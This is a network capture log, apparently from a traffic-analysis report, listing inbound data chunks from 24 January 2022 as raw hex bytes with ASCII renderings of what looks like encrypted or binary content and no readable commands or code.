2022-01-24 07:55:04 UTC	156	IN	Data Raw: b8 9e fd be 31 fa 88 0f e0 a6 24 a9 ff 31 89 3c 25 78 de 00 71 55 8a f2 98 14 07 56 71 18 4e 5a fe 96 62 f8 10 54 7d 23 f0 5d 72 be 32 e4 37 fc e5 da bf fd cc 29 49 c2 03 cc 89 bc 53 42 98 a0 1f 55 10 ed 2f 66 57 cb 69 2e 94 2d 6e 61 79 4a 12 31 27 d2 d5 1e 61 c8 bc a0 6b e3 a6 62 cd d5 26 8b a5 c7 3a 08 05 d0 d0 6b 5a f8 52 83 66 a6 96 06 8e 46 ee 76 28 94 01 91 eb 7a ad 6e 0c fb 6b ec 05 9f 7f 64 1f 27 e0 bf d1 a1 cf 80 77 2b 17 56 83 47 b2 09 5d 06 70 3c 14 f9 af 5d 2d 57 96 4f 4b 68 c0 23 f4 b7 74 f3 43 60 28 de 25 0f 5c ec 98 f0 0d 82 21 2a b3 5a 8a 79 f8 06 4e fe 5a 34 09 83 5a 2b ef 36 67 c4 f9 f6 ce 4f 9a 8a 2f 60 41 e3 c3 b1 0b 5a ba 58 55 fb 49 60 31 c0 3f 4d 1c 30 64 c4 a9 cb e7 86 5e 6d 5e 14 a7 7f 9e a8 52 ce 34 74 d4 94 b6 56 e8 bc f0 62 b9 Data Ascii: 1$1<%xqUVqNZbT}#]r27)ISBU/fWi.-nayJ1'akb&:kZRfFv(znkd'w+VG]p<]-WOKh#tC`(%\!*ZyNZ4Z+6gO/`AZXUI`1?M0d^m^R4tVb
2022-01-24 07:55:04 UTC	157	IN	Data Raw: 07 f2 0d d5 ea e0 98 28 0e e4 4d 7c 0c f8 dd 4c 9f d9 a6 67 e7 bb ef 5b be d4 08 ef a0 70 59 3d 3a 94 68 da 77 b8 07 7d 60 f4 47 7a 90 6c 22 fe 03 97 4f 17 c2 39 46 48 21 1b 48 4a 61 72 04 5d d2 d0 68 2c 87 0c c5 16 70 37 fc 19 a8 8a f8 33 26 f9 98 a1 ed 26 ce 74 0f 09 4d e8 a7 cd 1e b6 ef 5c 0c 68 1d a6 a1 20 d2 9d c0 20 80 a3 21 47 16 2e 42 1e cb 4c 42 1d 8c b6 14 78 2d b9 e5 56 71 bb fd f9 ef f3 bf c2 92 2a 87 3e f0 f5 79 a4 90 c0 0b 8e 1d e9 ae 73 81 78 2b d7 da 9c 7d 00 c3 28 0d e9 84 d5 37 ad 3b 39 3c 87 8c 99 9e 21 ac 55 ee ea 3c d2 71 88 3a cb 8f e1 41 45 3d 8f 5c 98 e4 19 f1 a6 81 01 5d e1 bc a5 d8 1c 34 35 6b 59 8a d7 f8 4d fc af 8e 4b d8 07 af 64 d9 0e f1 3f 85 65 00 bf f5 91 eb 1e 0d b3 0e 8a 6c 0f 2c 5a c4 29 b9 2a 76 ef a1 c7 1c a7 bc 64 7b Data Ascii: (M\|Lg[pY=:hw}`Gzl"O9FH!HJar]h,p73&&tM\h !G.BLBx-Vq>ysx+}(7;9<!U<q:AE=\]45kYMKd?el,Z)vd{
2022-01-24 07:55:04 UTC	159	IN	Data Raw: a6 ea a5 63 8d df 3f 46 39 ea 33 39 1e 9b 52 8b ec 2f 93 34 1c 44 ed 65 67 26 b8 c6 6d b1 18 8b b5 3e 89 2b c9 69 9a e3 46 ea bb b4 2f dc bb 65 ad eb 57 59 5d 70 e1 0c 10 88 c4 c3 52 55 34 94 f3 3d ff a7 00 b8 b0 c9 29 de a8 e4 c3 ca 13 63 30 05 76 b1 cd e5 a3 24 c6 43 4a a3 6b 95 d9 53 10 2a cf 4e 00 5e e9 03 6c f5 29 a8 08 af a0 40 e3 91 d0 ba 77 28 68 44 9c df 37 6c 69 73 09 a6 46 53 f5 67 96 d6 a1 90 ba 2c 1c 13 36 db 38 f3 4b 13 fa fe 60 e1 cc 0a f8 98 a5 74 68 9d b7 f8 8c a9 69 ca 1a 1d 5d 2f e3 1a 55 35 af 7d b8 70 ad 96 2f 46 e3 60 d5 c0 d7 a5 ad 18 ba ef 08 5e 38 60 eb f9 18 1d 2c bf 45 89 ce df 63 c5 53 7d 1e c6 77 98 5c 73 9e b8 51 5d 3b 1b 9f b6 95 bf 13 63 f9 df ec 9f f4 39 3d 50 ad 6c 92 df 49 79 15 34 ce 8d 5d 9a e7 31 b3 b7 7a 2b 14 52 17 Data Ascii: c?F939R/4Deg&m>+iF/eWY]pRU4=)c0v$CJkS*N^l)@w(hD7lisFSg,68K`thi]/U5}p/F`^8`,EcS}w\sQ];c9=PlIy4]1z+R
2022-01-24 07:55:04 UTC	160	IN	Data Raw: 05 d9 3a 61 7e 5c 1a e6 9a 5c a7 9f 7d 08 66 88 0e 90 a2 83 18 19 00 2d 85 0f b4 0f 39 d5 3c 83 5a cd 60 3f 6b ff fb 8e 28 88 5c 4a b2 55 12 06 b1 b7 1e 4b 1b 29 b1 94 87 9f ac 68 24 15 e9 3c 51 6e af 20 a7 31 ec 5a 82 12 b8 13 ff aa 15 4d 25 4d b2 ea 3a f6 2e cd f1 b4 ef 64 83 24 84 ca 48 0c 73 b8 19 7a c3 f0 e7 84 24 1b a7 bb 82 33 fa 69 0a 9f 63 1d 99 f0 b7 c0 1d 63 60 07 6a f6 1f 53 d2 09 6a 10 ae 1e cf a7 0f 12 74 21 ef 45 d0 64 ff 5e 4e 72 88 f9 18 ee 1b ca c3 79 f8 a2 22 96 f0 2d 96 a0 35 12 5d d3 1e 31 85 ee 14 7e db 08 ab 6f e2 d1 d1 8c b5 ea 8e 0c cf a2 2e a1 85 2b a0 df 08 cb 06 07 7e bf 6e 28 08 96 8c cd 48 5d 20 2a 39 62 6b d5 a4 66 cf 37 78 5f 08 c8 61 5c 8a 0a d9 0a e5 d1 e5 84 16 f9 1a 77 ca 14 82 ad b5 57 49 84 a0 00 4e 53 de 32 69 4e d4 Data Ascii: :a~\\}f-9<Z`?k(\JUK)h$<Qn 1ZM%M:.d$Hsz$3icc`jSjt!Ed^Nry"-5]1~o.+~n(H] *9bkf7x_a\wWINS2iN
2022-01-24 07:55:04 UTC	161	IN	Data Raw: d1 6d 6f 74 9d b0 7e d6 20 ab 64 bb 30 15 8b 25 87 3d f9 f5 dd bc 9f 47 a6 8b 7d d6 e5 47 c8 58 6f 88 2b 61 e5 2d 20 0c 81 fc 81 37 56 4b b1 a3 38 6d 1b 8a 7e e5 4b e7 9e 8b 0e e6 17 4f ea 9b 38 c9 c4 96 a3 8d 7c 47 44 f1 f2 f6 44 62 05 f1 91 20 cd 56 cf b0 40 57 9a de 98 b1 3e 61 3d 5c 8c 57 37 5c 91 ae ee 18 34 db ec 0d ac d1 96 ad 17 46 8c 12 a6 20 60 cb 4d d3 91 5f 21 4b 6f 76 62 17 d8 b7 08 6c 6d 0c 27 8d 27 4a 58 da 78 64 fe 97 ca ea 57 eb d6 fc b7 ee 4a 84 69 d0 01 35 68 88 fc a1 31 95 0f a1 d7 a4 39 d7 0b a7 d9 94 1e 84 d9 c9 7c ba 3f a7 6c aa 41 6d 43 61 9c a1 43 2f c3 2a 4c 6b e0 28 57 48 e6 69 2a b7 ef 40 55 b2 a4 9b 07 4b 57 43 ef a8 a2 7d f0 77 6f cf a1 d9 1e ce 35 f7 81 bd ce 32 69 d4 74 e2 3c 52 61 73 40 e3 39 78 3b 4a ad f6 47 d1 63 49 7a Data Ascii: mot~ d0%=G}GXo+a- 7VK8m~KO8\|GDDb V@W>a=\W7\4F `M_!Kovblm''JXxdWJi5h19\|?lAmCaC/Lk(WHi@UKWC}wo52it<Ras@9x;JGcIz
2022-01-24 07:55:04 UTC	162	IN	Data Raw: 26 ab b7 1b 23 00 80 e0 d3 4b 0f b9 0d 03 76 f8 99 71 c0 6c 9c 54 59 3a 4d 85 fb af 3b bd cf 7b 02 b7 c9 c7 60 d6 00 7a 23 13 90 57 d6 7d ff 0a 45 42 00 74 d7 ab 01 5f 1a e0 2c e0 7c 76 c5 0b 57 1e 70 43 60 9e b6 af cd 12 eb 88 ac bd 2f 01 ba 27 17 5e 31 53 7c 90 8c 82 5e 29 49 60 a9 3a 82 a2 d9 54 2f f3 85 d9 5e b1 7f 8f 6b 7a de a5 5c e1 57 75 45 c3 75 cc 68 12 f0 32 ee db 0d 7d 96 17 a9 32 fa 02 57 70 c8 42 8f ac f4 49 c2 98 d3 ec 14 9f ee ce 98 80 02 4f 54 4e dd c0 74 c0 79 e9 75 9e 80 77 4b 40 3e 6d e7 4b c9 c7 4c 22 ee 5e 48 d3 25 03 d3 77 b8 f7 90 34 81 eb 0b 91 95 96 a7 24 40 8d 17 a7 2a 53 cd 4d c2 0d 54 86 4c 6a d9 79 1d ea b1 08 65 4f 06 ef 8d b3 56 45 d0 4a 62 fc 9d cf e1 74 ed 68 61 39 e5 64 82 68 aa 08 3f 5e 8f fc ec af 9e 3c a7 ca 6e 26 dd Data Ascii: &#KvqlTY:M;{`z#W}EBt_,\|vWpC`/'^1S\|^)I`:T/^kz\WuEuh2}2WpBIOTNtyuwK@>mKL"^H%w4$@*SMTLjyeOVEJbtha9dh?^<n&
2022-01-24 07:55:04 UTC	163	IN	Data Raw: b9 0a fa 40 81 48 9d 90 db 96 33 7d 05 f9 8d ad 28 db 1a fb 98 4e c6 de a9 20 be 60 79 09 42 9e 09 57 fc 1a d9 65 30 de 6d f0 43 df 39 9b c7 54 ac fe 54 3c 75 7b ce 6d 9b e5 b5 16 d5 15 1a 82 f7 c5 73 4f 2d 38 ca cc b2 5c 0e fd 1c b5 1b 2d a2 e4 27 2f fc 9d f0 c5 37 84 12 86 ff 71 0a ca 60 ca d1 e0 a9 3a f8 02 00 72 9a ed 60 66 30 e5 70 6d 51 bd 3f 40 05 8e 51 cf a5 61 39 a5 3e fc 8f 45 81 93 a7 28 fd 86 ad 61 08 f6 ef ee ae 9a 99 e3 d8 6d 15 f0 65 6e c4 e3 b4 72 cc 4d 24 bc 67 a5 79 3a 59 31 82 ae 58 d7 8c 5e 81 d1 fb ba 02 c1 ed 43 1a 05 b8 6a 33 0f 84 f3 68 cd 68 3a 26 99 07 4f 5b 57 b0 b7 22 3a a5 d6 8d e9 a2 d6 03 b2 a6 98 f2 83 9c 76 5e 9d b2 a6 75 56 ea 41 ef 02 f0 f1 66 7a 65 cd 45 0f b9 af ae c2 5f 91 5a a6 c9 7b cf 23 b9 aa 71 10 2f f9 a2 4a b7 Data Ascii: @H3}(N `yBWe0mC9TT<u{msO-8\-'/7q`:r`f0pmQ?@Qa9>E(amenrM$gy:Y1X^Cj3hh:&O[W":v^uVAfzeE_Z{#q/J
2022-01-24 07:55:04 UTC	165	IN	Data Raw: 87 37 64 53 44 7a d3 85 7f 6e 05 f9 99 90 ea 46 cf df 6d f7 b0 de 98 d4 25 fe 25 5c 8c f8 03 22 95 ae ee 98 33 91 e9 0a ac 00 97 c2 05 41 8c 83 a7 39 51 cc 4d 56 98 3f 33 6c 6f 4d 79 72 ca 90 08 f1 4e 72 35 aa 27 c3 51 a9 6a 64 fe 09 ce ed 66 ec d6 9b ab e9 7b a4 69 3e 0a 2f 59 a8 fc 78 3a 8c 3e 81 d7 fa 22 d0 3a 82 d9 c2 3d 40 c1 ce 7c ee 3f a2 7c ad 41 9c 65 0a bb a6 43 6f c2 d1 77 60 e0 e8 4c 49 c0 62 2a f8 c9 7e 50 be a4 73 0f 33 52 48 ef b8 97 11 d4 64 6f ef b9 17 36 da 35 fd a4 74 c7 21 69 56 58 13 12 41 61 80 72 33 11 6c 3d 2d 8c 38 6f 81 e3 36 65 96 71 dd e6 14 c0 1e 69 07 11 6d fc 2b 49 8a 01 ee 6d 2e f2 ca 44 90 aa 6c 7c 45 ee d3 a9 3e 12 ac 17 77 22 34 91 39 57 99 02 62 2d ce ff c8 04 2f 93 58 de cd 96 7f 48 1f 18 7c de 4f ff 96 f6 23 07 bd 36 Data Ascii: 7dSDznFm%%\"3A9QMV?3loMyrNr5'Qjdf{i>/Yx:>":=@\|?\|AeCow`LIb*~Ps3RHdo65t!iVXAar3l=-8o6eqim+Im.Dl\|E>w"49Wb-/XH\|O#6
2022-01-24 07:55:04 UTC	166	IN	Data Raw: 83 c4 ee da 42 cc e1 23 b1 23 b6 fb 4e 7f 3d 81 bf f0 1b 8d 4e 83 c0 bd 14 1e db c1 53 18 59 66 5b 31 1e 84 24 e2 dd fe 2a 19 31 07 5f 4d 64 b0 bb 36 2a e1 c5 d6 2f e9 c7 03 a3 ee 6d fb 8e 9e 67 4f 66 20 b4 16 46 e8 15 63 30 f2 e0 66 d3 66 c0 d3 1f d7 3a ad d4 e9 a2 5a 32 c8 5f cb 2a bd 72 60 00 2f e8 1e fc b6 e0 a2 6f 33 29 5b 88 ee a5 01 26 a0 4e 15 2d cf 85 75 13 66 b0 79 7a 51 df 0a fc af 44 c3 7a 46 11 aa 3d ac 7f e6 80 3b cf 46 ea 6b 64 ce 6e 21 33 86 8e 39 92 e5 c2 4d b2 5e 02 ce ab 89 37 5a 1a 8f 66 b1 d5 b8 b5 0d 2c 5a ef 61 66 f1 bb 09 b9 97 f1 04 dd 8a f2 c2 d6 cf 44 a7 13 75 af 52 89 ea 6a 9c 7a 48 bd c5 94 77 53 16 3b 23 4c 02 72 c1 3b 5d d8 9b b9 b5 9e 89 51 46 9a e1 85 5f 50 16 17 5d ce ac 5b 19 4d 3f a3 78 64 c5 ed 58 0a f8 50 e6 f4 bf bb Data Ascii: B##N=NSYf[1$1_Md6/mgOf Fc0ff:Z2_*r`/o3)[&N-ufyzQDzF=;Fkdn!39M^7Zf,ZafDuRjzHwS;#Lr;]QF_P][M?xdXP
2022-01-24 07:55:04 UTC	167	IN	Data Raw: 02 d6 65 6f 14 3f 04 22 fc a1 68 02 6c fe 20 69 ad 5e 1e 90 40 77 1e e7 3f a4 66 21 a9 8a 2b 6d d7 e3 a2 72 20 c6 8a a0 e3 dc 88 4a 51 91 d3 7d bd 7c ac 93 6b a4 31 ed 9c c4 04 ab f7 df 13 78 08 3b a4 e4 f6 8a c9 23 af b2 3f d1 1d 17 51 bb 99 9e 50 1b 8f b0 0e 5e 36 10 df 7d 69 0c c3 34 e3 c3 90 f0 a7 01 ae b4 ca c8 73 76 a6 14 3e a9 27 de 9a 57 80 e2 3d 38 3e c6 a1 26 01 d7 c5 17 73 1c f1 ee ee d8 f7 ea 6a 66 4f cc 65 1c a1 0c fd 0b ad 7d e1 9f 49 3c 91 a2 f7 ad 21 7b 0e e9 13 5d 46 7a b7 46 47 36 3b 0c 1a 82 a8 b0 61 3d 08 2a 06 45 78 9c 11 44 a9 f8 42 81 48 8b 2b 72 94 47 6d 27 6d ec 04 2a db 1b fb 8e a3 53 4b d3 30 9c f7 b8 a7 40 9e 09 45 ea c0 4d b6 8a ce 4f 67 46 71 3b 88 c6 54 ba fe c0 3e d9 07 ee f7 82 59 b0 27 d5 81 0a c8 63 f5 b5 d6 0f 6a c6 7b Data Ascii: eo?"hl i^@w?f!+mr JQ}\|k1x;#?QP^6}i4sv>'W=8>&sjfOe}I<!{]FzFG6;a=ExDBH+rGm'mSK0@EMOgFq;T>Y'cj{
2022-01-24 07:55:04 UTC	168	IN	Data Raw: 04 32 e7 8c 3b 81 e5 56 4c 14 cc 24 d8 23 ac 36 32 18 8d 75 5d 5d bf 7b 1c 0a 4b b7 15 46 84 b9 0a aa b7 88 06 13 bb d4 d3 da b4 64 27 11 76 bc 96 7b e3 a4 8d 5c 59 49 e2 83 fb 51 15 28 db c0 00 bc f0 1d 4c d0 00 ae 22 1c 8a 40 f6 28 e0 e3 4c 76 00 5b 71 cf 05 59 1a 5e 37 10 79 58 ce c7 4e f2 d4 51 60 f4 bc a8 d1 18 ff f6 9c f3 2b 7f 01 37 16 d1 2b 52 7c 57 a0 9d 61 05 49 cd 15 30 b1 a4 d9 b8 2f ad a2 0d 4f b8 55 8e f8 60 de fc 41 db 79 92 47 fd 62 cf 46 b8 4d ad ee 81 0a 68 96 23 a4 f6 d8 2e 57 64 51 4b 92 aa f4 3b e0 30 ca 24 05 08 cf 70 15 86 02 66 55 57 ee 69 62 af 79 2f 6d a0 3f e8 40 cf 24 78 e7 e9 db 56 7b 0e ee 9b e5 8c 03 05 d3 98 a8 16 a0 fa 90 c1 0b ec 54 96 a7 24 40 9f 17 23 29 9d dc 67 c2 5d 95 12 4d 6f d9 6b 1d c9 a6 c6 74 65 06 a8 48 27 57 Data Ascii: 2;VL$#62u]]{KFd'v{\YIQ(L"@(Lv[qY^7yXNQ`+7+R\|WaI0/OU`AyGbFMh#.WdQK;0$pfUWiby/m?@$xV{T$@#)g]MokteH'W
2022-01-24 07:55:04 UTC	170	IN	Data Raw: 0a 9c 83 f1 59 61 54 ce e9 3f 4b 66 d9 b7 00 4a 17 3d b4 cc ad 86 b1 4c 2b 5c ca 0e 4f 7b be 17 b0 48 d7 da 82 65 9d 4b ec 97 33 60 05 6b 84 50 29 f5 1a d5 98 37 f0 4b a8 3d be f1 70 fb 43 06 0a 6b fc 60 ee b6 04 c3 6d 61 4a 67 23 a6 c7 7b ac 2a 63 3e 75 0a cc f1 92 6d a8 bf d6 ae 1b 28 c0 f5 73 db 2c 6c c2 f9 b0 b8 0b 97 1c 90 23 b8 a3 86 27 38 f4 29 f3 a4 2b a5 12 32 c6 79 08 db 60 58 d8 99 ad 5c ff a7 01 36 a0 fd 60 9d 36 ee 7a fc 57 81 33 7c 07 fb 69 35 a3 71 3b b2 36 27 92 db 9e b0 a7 9e c2 8a af 70 08 64 e6 83 b0 18 84 ff df dc 2f e0 65 83 c5 88 b5 b5 ca 78 3e 82 65 10 41 67 5b 3c 80 bb 40 3e a8 d7 9e f5 fb 22 3c d0 ef 52 1a 5f b2 87 19 3b 80 13 61 b5 53 2a 26 30 05 59 51 5d 99 45 37 1d a7 b3 b4 3b a0 c6 01 a5 ae 0b d6 5f 83 5f 5e ce 8d b4 77 47 ea Data Ascii: YaT?KfJ=L+\O{HeK3`kP)7K=pCk`maJg#{c>um(s,l#'8)+2y`X\6`6zW3\|i5q;6'pd/ex>eAg[<@>"<R_;aS&0YQ]E7;__^wG
2022-01-24 07:55:04 UTC	171	IN	Data Raw: e5 40 1c 40 a5 e2 9f 5d 7b 5e d6 b0 38 c9 04 51 5c c2 43 94 b4 a3 28 1c 5a c8 ea 14 22 c9 cc 95 8e 0e 78 02 44 e6 9c 75 61 68 05 6b 90 34 fb 84 cc 73 6b db fc d9 98 6a 24 e8 2f e7 9f 70 00 84 8b e0 a0 b7 34 81 eb 0a ac 00 97 d5 3b 17 8c f3 e8 2b 53 cd 4d c3 99 c1 13 c8 70 8e 78 bd bb b0 08 65 4f 07 14 1f 26 dc 4f 87 4b ba ae 9c cf e0 64 ec d6 9b ab 7c 66 d5 69 fe 5a 3e 5b 8e fc ed 3b 0b 3d 13 c8 39 23 09 65 a0 d9 56 3c 0a c3 34 7a 52 1e fa 5f dc 24 66 63 05 98 a1 43 6f c2 7c 53 36 e0 8b 22 3c e1 63 2a 6a c8 a1 53 96 a5 b0 0e ee 38 48 ef 2c 96 04 d6 db 6e 5c b7 53 34 88 5c 68 a5 60 e4 26 69 39 5f 54 30 17 61 76 19 3f 13 6a 3b af 8a d0 6b 62 70 f5 64 70 39 8a 66 ef c6 8e 4a aa 97 7d f8 ea 6a 44 6c 6b 6b 3d f0 9a dc 00 8e 37 5f 44 6e 9c 8d a5 31 fa 97 cf 3b Data Ascii: @@]{^8Q\C(Z"xDuahk4skj$/p4;+SMpxeO&OKd\|fiZ>[;=9#eV<4zR_$fcCo\|S6"<c*jS8H,n\S4\h`&i9_T0av?j;kbpdp9fJ}jDlkk=7_Dn1;
2022-01-24 07:55:04 UTC	172	IN	Data Raw: 9f 7f 33 13 54 41 b4 2e e9 8f 55 83 82 a6 06 6e 8a 61 74 72 62 42 56 ad 8b 99 cd de 7d 39 e6 40 87 bf ee 02 41 cc e1 23 b1 63 ac 7d 43 48 3c fa bf f4 97 8c 4e 83 c0 bd 14 5e c4 a6 53 60 59 5a d7 30 1e 84 24 67 c5 6e 0e 35 30 7f 5f 59 e8 b1 bb 36 2a a1 c7 19 3b b3 c6 7b a3 72 e0 fa 8e 9e 67 58 66 20 b4 31 60 90 15 87 a2 f3 e0 66 d3 61 c0 bc 18 aa 3b d5 d4 91 30 5b 32 c8 5f cb 32 2d 56 15 17 57 e8 5e 6c b7 e0 a2 6f 36 21 ee 83 6d a5 78 26 d8 d8 14 2d cf 85 72 0b 4c 92 23 7b 28 df a2 68 ae 44 c3 7a 51 09 5b 1e e4 7b 9f 80 eb 75 47 ea eb 64 d9 4e 21 33 5f 85 40 92 51 e0 4d b2 de 02 de 93 19 13 21 18 f6 66 41 4a b9 b5 0d 2c 5d e7 33 47 62 bb 71 b9 2b 6f 05 dd aa f2 c2 de fb 62 48 12 0d af d2 10 eb 6a 9c 7a 48 b5 e9 82 1d 53 6e 3b c3 d4 03 72 e1 3b 5d d0 2e a9 Data Ascii: 3TA.UnatrbBV}9@A#c}CH<N^S`YZ0$gn50_Y6*;{rgXf 1`fa;0[2_2-VW^lo6!mx&-rL#{(hDzQ[{uGdN!3_@QM!fAJ,]3Gbq+obHjzHSn;r;].
2022-01-24 07:55:04 UTC	173	IN	Data Raw: 65 85 07 e5 a7 28 0c c2 a5 56 61 76 13 46 29 07 61 57 6c 4c c2 53 b8 a4 e7 98 3e 83 4b 09 2e eb 02 4b 92 6e 14 bf 04 a2 dc 61 7d 43 62 99 20 dc 5a 5f 1e 10 40 f7 3e 8e 3c f5 68 46 a9 44 dc 6c d7 63 a2 f2 00 ea 9e 80 ed bb 88 a0 a6 90 d3 fd bd fc 8c 20 69 8d 3f 8d 9c c2 fc aa f7 5f 13 f8 28 14 b3 d7 f8 ea c9 01 57 b3 3f 51 1d 92 71 74 9b 99 5e 78 8f 8e f6 5f 36 90 df fd 49 60 d4 39 ed a1 90 a9 5f 00 ae 34 ca 48 53 08 a3 08 30 f5 27 aa 62 56 80 62 3d b8 1e 70 b7 3f 0f 8b c5 87 8b 1d f1 6e ee 5d d7 d1 68 94 40 90 65 27 d9 0d fd 0b ad fd e1 a9 5f ec 9e fe f7 96 59 7a 0e e9 13 dd 46 17 b5 e6 48 6a 3b 5f 63 83 a8 b0 61 bd 08 5e 16 a9 79 c3 11 46 d0 f9 42 81 48 0b 2b f8 92 d5 62 78 6d 96 7f 2b db 1b fb 0e a3 19 50 4e 3f c3 f7 4e dc 41 9e 09 45 6a c0 94 b3 e2 c1 Data Ascii: e(VavF)aWlLS>K.Kna}Cb Z_@><hFDlc i?_(W?Qqt^x_6I`9_4HS0'bVb=p?n]h@e'_YzFHj;_ca^yFBH+bxm+PN?NAEj
2022-01-24 07:55:04 UTC	175	IN	Data Raw: cd f8 73 56 63 97 6a 7a 53 49 12 80 a9 a2 c1 07 57 70 a1 1a 2a 7f e4 16 3b 72 72 0c e9 19 d8 da b4 30 e7 8c 3b 04 e5 84 4c 54 dc 7f d8 3b 1c 34 32 18 8d f0 5d 7d be 53 0f 51 4b 2c a6 44 84 b9 0a 2f b7 42 05 3b a8 8f d3 39 01 66 27 11 76 39 96 51 ec 8c 9e 07 59 b6 55 81 fb 51 15 ad db ac 03 94 e3 46 4c cf 02 ac 22 9c 8a c7 d6 8c e6 63 5d 2d 00 2d cb cd 05 59 1a db 37 6b 79 82 c7 90 4e 5c 6e 53 60 f4 bc 2d d1 ba ec de 8f a4 2b 76 b8 35 16 d1 2b d7 7c da a0 98 70 52 49 e4 ab 32 b1 a4 d9 3d 2f 20 bf 25 5c ef 55 0e 47 62 de fc 41 5e 79 c4 47 d5 71 98 46 d0 f2 af ee 81 0a ed 96 95 a5 de cb 79 57 b4 ed 49 92 aa f4 be e0 c2 cb 0c 16 5f cf 38 a9 84 02 66 55 d2 ee 84 60 87 6a 78 6d 8f 83 ea 40 cf 24 fd e7 4d da 7e 68 59 ee 14 59 8e 03 05 d3 1d a8 54 a3 d2 83 96 0b Data Ascii: sVcjzSIWp*;rr0;LT;42]}SQK,D/B;9f'v9QYUQFL"c]--Y7kyN\nS`-+v5+\|pRI2=/ %\UGbA^yGqFyWI_8fU`jxm@$M~hYYT
2022-01-24 07:55:04 UTC	176	IN	Data Raw: 2e e6 5e a2 d9 0d f6 53 17 ac 37 17 6c 93 cb cd 73 69 72 42 ed f3 8c 55 09 1b 09 d0 6b dd 06 4a 0a 9c 83 61 51 16 4b e8 eb 6e 4b 18 e3 b4 00 4a 17 ad bc 37 87 4e b2 1c 2b 88 f0 0d 4f 7b be 87 b8 c9 c8 a4 83 35 9d 89 d6 94 33 60 05 fb 8c 50 2f 3d 19 86 98 67 ca 48 a8 3d be 61 78 2e 71 78 0b 38 fc 26 d4 b5 04 c3 6d f1 42 e3 3d 6e c4 29 ac f6 5a 3d 75 0a cc 61 9a 3c 81 c1 d7 fc 1b e2 f9 f6 73 db 2c fc ca c6 b4 2e 0d da 1c c8 15 bb a3 86 27 a8 fc 53 c3 c3 34 e8 12 7c f0 7a 08 db 60 c8 d0 8f ad cd fa eb 01 f2 96 fe 60 9d 36 7e 72 bc 65 e5 3c 30 07 2d 5f 36 a3 71 3b 22 3e 0b 8f b3 81 ff a7 d2 f4 89 af 70 08 f4 ee 72 aa 6d 9b b0 df 8b 19 e3 65 83 c5 78 b6 fa cd 07 21 cc 65 ac 76 64 5b 3c 80 29 58 3a 8a a8 81 bd fb 2f 0a d3 ef 52 1a cf ba b2 30 f8 86 59 61 86 65 Data Ascii: .^S7lsirBUkJaQKnKJ7N+O{53`P/=gH=ax.qx8&mB=n)Z=ua<s,.'S4\|z``6~re<0-_6q;">prmex!evd[<)X:/R0Yae
2022-01-24 07:55:04 UTC	177	IN	Data Raw: 9d a0 7e 72 2f df 69 dd 34 57 a6 a4 ab 62 e0 b4 c3 5e 92 c3 a6 9a 7f 38 fe 3c c8 16 76 47 33 73 e5 d0 14 6e a9 08 83 77 7b 07 82 b3 38 c9 04 c1 54 13 6b 74 a8 89 28 53 0e cb ea 14 22 59 c4 63 82 e4 64 28 44 3a cb 76 61 68 05 fb 98 af c9 a6 cd 59 6b 11 ab da 98 6a 24 78 27 a8 88 e5 07 ae 8b b0 f4 b4 34 81 eb 9d ac 0d b7 41 26 3d 8c 2d bc 28 53 cd 4d 54 99 76 17 ab 6d a4 78 46 f1 b3 08 65 4f 90 14 19 02 b1 52 ad 4b 1e e4 9f cf e0 64 7b d6 2d a8 02 7b ff 69 34 11 3d 5b 8e fc 7a 3b 7e 10 41 d5 13 23 1d 22 a3 d9 56 3c 9d c3 b8 79 9c 3c d0 5f 4e 5b 65 63 05 98 31 43 41 f3 43 54 1c e0 17 51 3f e1 63 2a fa c8 9a 57 5e a6 9a 0e 18 4b 4b ef 2c 96 94 d6 81 5f f2 bd 79 34 94 2e 6b a5 60 e4 b6 69 74 5b f8 12 3d 61 57 68 3c 13 6a 3b 3f 8a 25 5c 31 61 df 64 8a 49 89 66 Data Ascii: ~r/i4Wb^8<vG3snw{8Tkt(S"Ycd(D:vahYkj$x'4A&=-(SMTvmxFeORKd{-{i4=[z;~A#"V<y<_N[ec1CACTQ?c*W^KK,_y4.k`it[=aWh<j;?%\1adIf
2022-01-24 07:55:04 UTC	178	IN	Data Raw: 00 3b a8 8f d3 f7 20 66 27 11 76 39 96 15 f5 8c 9e 07 59 fe 77 81 fb 51 15 ad db e0 06 94 e3 46 4c bd 20 ac 22 9c 8a c7 d6 5f c1 63 5d 2d 00 98 e9 cd 05 59 1a db 37 37 7c 82 c7 90 4e bb 4c 53 60 f4 bc 2d d1 0e ca de 8f a4 2b d5 9a 35 16 d1 2b d7 7c 59 a6 98 70 52 49 9a 89 32 b1 a4 d9 3d 2f bd 97 25 5c ef 55 b2 64 62 de fc 41 5e 79 68 40 d5 71 98 46 21 d1 af ee 81 0a ed 96 ff 94 de cb 79 57 02 ce 49 92 aa f4 be e0 2f cc 0c 16 5f cf b3 8a 84 02 66 55 d2 ee 4d 5f 87 6a 78 6d 01 a1 ea 40 cf 24 fd e7 d0 dd 7e 68 59 ee 9c 7b 8e 03 05 d3 1d a8 4b 86 d2 83 96 0b 71 b5 94 a7 24 40 1a 17 2a 2f b5 cf 30 c2 66 74 10 4d 6f d9 ee 1d 24 81 ee 67 32 06 35 a9 25 57 50 d0 dd 62 3a 98 29 e2 19 ed 95 42 af e4 79 82 ff aa f2 0f bd 8c 81 ec 5e bd 3e a7 d7 6e b5 dd c7 a4 3f 54 Data Ascii: ; f'v9YwQFL "_c]-Y77\|NLS`-+5+\|YpRI2=/%\UdbA^yh@qF!yWI/_fUM_jxm@$~hY{Kq$@*/0ftMo$g25%WPb:)By^>n?T
2022-01-24 07:55:04 UTC	179	IN	Data Raw: 83 35 9d 71 f7 94 33 60 05 fb 8c e0 29 3d 19 86 98 df eb 48 a8 3d be 61 78 26 57 78 0b 38 fc 5d f5 b5 04 c3 6d f1 42 62 38 6e c4 29 ac 40 78 3d 75 0a cc 61 9a f1 a7 c1 d7 fc 1b 28 db f6 73 db 2c fc ca 47 b1 2e 0d da 1c 86 36 bb a3 86 27 a8 fc a4 e6 c3 34 e8 12 31 d3 7a 08 db 60 c8 d0 e9 af cd fa eb 01 27 b5 fe 60 9d 36 7e 72 d2 48 e5 3c 30 07 f9 7c 36 a3 71 3b 22 3e 6c 8a b3 81 ff a7 81 d7 89 af 70 08 f4 ee 14 b6 6d 9b b0 df d4 3a e3 65 83 c5 78 b6 3b c8 07 21 cc 65 7f 54 64 5b 3c 80 29 58 86 92 a8 81 bd fb fa 28 d3 ef 52 1a cf ba f6 35 f8 86 59 61 d0 44 29 26 30 05 c9 59 a0 90 5d 34 57 a7 e9 a3 38 a0 c6 01 35 a6 f9 ff 68 9c 1a 5e 29 9a b7 77 47 ea 83 fb 0f d3 06 64 ae 67 b0 69 1c b9 3b af 42 5d 